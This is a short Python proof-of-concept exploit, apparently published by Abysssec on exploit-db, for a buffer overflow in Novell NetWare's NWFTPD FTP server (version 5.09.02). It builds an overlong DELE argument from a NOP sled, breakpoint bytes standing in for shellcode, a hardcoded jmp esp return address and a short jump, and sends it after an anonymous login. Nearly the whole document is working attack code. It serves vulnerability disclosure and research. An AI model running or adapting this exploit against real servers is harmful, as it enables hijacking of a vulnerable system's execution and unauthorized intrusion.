'''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 7 - (Binary Analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
 
 http://www.exploit-db.com/moaub-7-novell-netware-nwftpd-rmdrnfrdele-argument-parsing-buffer-overflow/
'''
 
'''
  Title            :  Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow
  Version          :  NWFTPD.NLM 5.09.02 (Netware 6.5 – SP8)
  Analysis         :  http://www.abysssec.com
  Vendor           :  http://www.Novell.com
  Impact           :  Critical
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
'''
from ftplib import FTP
import sys
 
try:
    netwareServerIp = '127.0.0.1'
    ftp = FTP(netwareServerIp)             
    ftp.login('anonymous','a@a')
    buffer = "/"
    buffer += "\x90"*107                #nops
    buffer += "\xcc"*413                #shellcode part2 = 413 byte
    buffer += "\xb9\xa4\xe0\x91"            #EIP - jmp esp from nwftpd.nlm module
    buffer += "\xcc"*124                #shellcode part1 = 124 byte
    buffer += "\x08\xeb\x90\x90\x90\x90"        #short jmp to shellcode part2
    ftp.voidcmd('DELE ' + buffer)
     
except Exception,err:
    print err